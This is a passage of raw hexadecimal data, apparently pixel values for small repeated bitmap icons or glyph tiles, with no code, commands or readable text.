0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001010130050502c0070704ff10111ec81f1f93bf2a24daff2a24daff2a24daff1d1996b005051b200000000000000000000000000000000000000000030302600f0f0ef1747476ff11121eff2e30d3ff3949deff2a24daff2a24daff2a24daff3949deff2822ccf005051b20000000000000000000000000040403a0292a2bffb7b8bbffffffffff29308dff3949defffefefeff647ee7ff2a24daff647ee7fffefefeff3138dcff1d1996b0000000000000000004040290292a2bffe7e7e8ffffffffffffffffff2a24daff2a24daff647ee7fffefefeff647ee7fffefefeff647ee7ff2a24daff2a24daff00000000020201501d1e1effe7e7e8ffffffffffffffffffffffffff2a24daff2a24daff2a24daff647ee7fffefefeff647ee7ff2a24daff2a24daff2a24daff00000010070704f0a5a5a8ffffffffffffffffffffffffffffffffff2a24daff2a24daff647ee7fffefefeff647ee7fffefefeff647ee7ff2a24daff2a24daff03030270343537ffffffffffffffffffffffffffffffffffffffffff29308dff3138dcfffefefeff647ee7ff2a24daff647ee7fffefefeff3138dcff1d1996b0060602d0949396ffffffffffffffffffffffffffffffffffffffffff11121eff3137dcff3138dcff2a24daff2a24daff2a24daff3138dcff2a28cafc05051b20070704ff070704ff070704ff070704ff070704ff070704ff070704ff070704ff11121eff29308dff2a24daff2a24daff2a24daff29308dff11121eff00000000070704ffffffffffffffffffffffffffffffffffffffffffffffffff070704ffffffffffffffffffffffffffffffffffffffffffffffffff070704ff00000000070704ffffffffffffffffffffffffffffffffffffffffffffffffff070704ffffffffffffffffffffffffffffffffffffffffffffffffff070704ff00000000070704ffffffffffffffffffffffffffffffffffffffffffffffffff070704ffffffffffffffffffffffffffffffffffffffffffffffffff070704ff00000000070704ffffffffffffffffffffffffffffffffffffffffffffffffff070704ffffffffffffffffffffffffffffffffffffffffffffffffff070704ff00000000070704ff292a2bff343537ff656567ffe7e7e8ffffffffffffffffff070704ffffffffffffffffffe7e7e8ff656567ff343537ff1d1e1eff070704ff000000000000000001010130020201400404029010100fff656567ffe7e7e8ff070704ffe7e7e8ff656567ff10100fff04040290020201400101012000000000000000000000000000000000000000000000000001010130050502c0070704ff070704ff070704ff050502c00101013000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000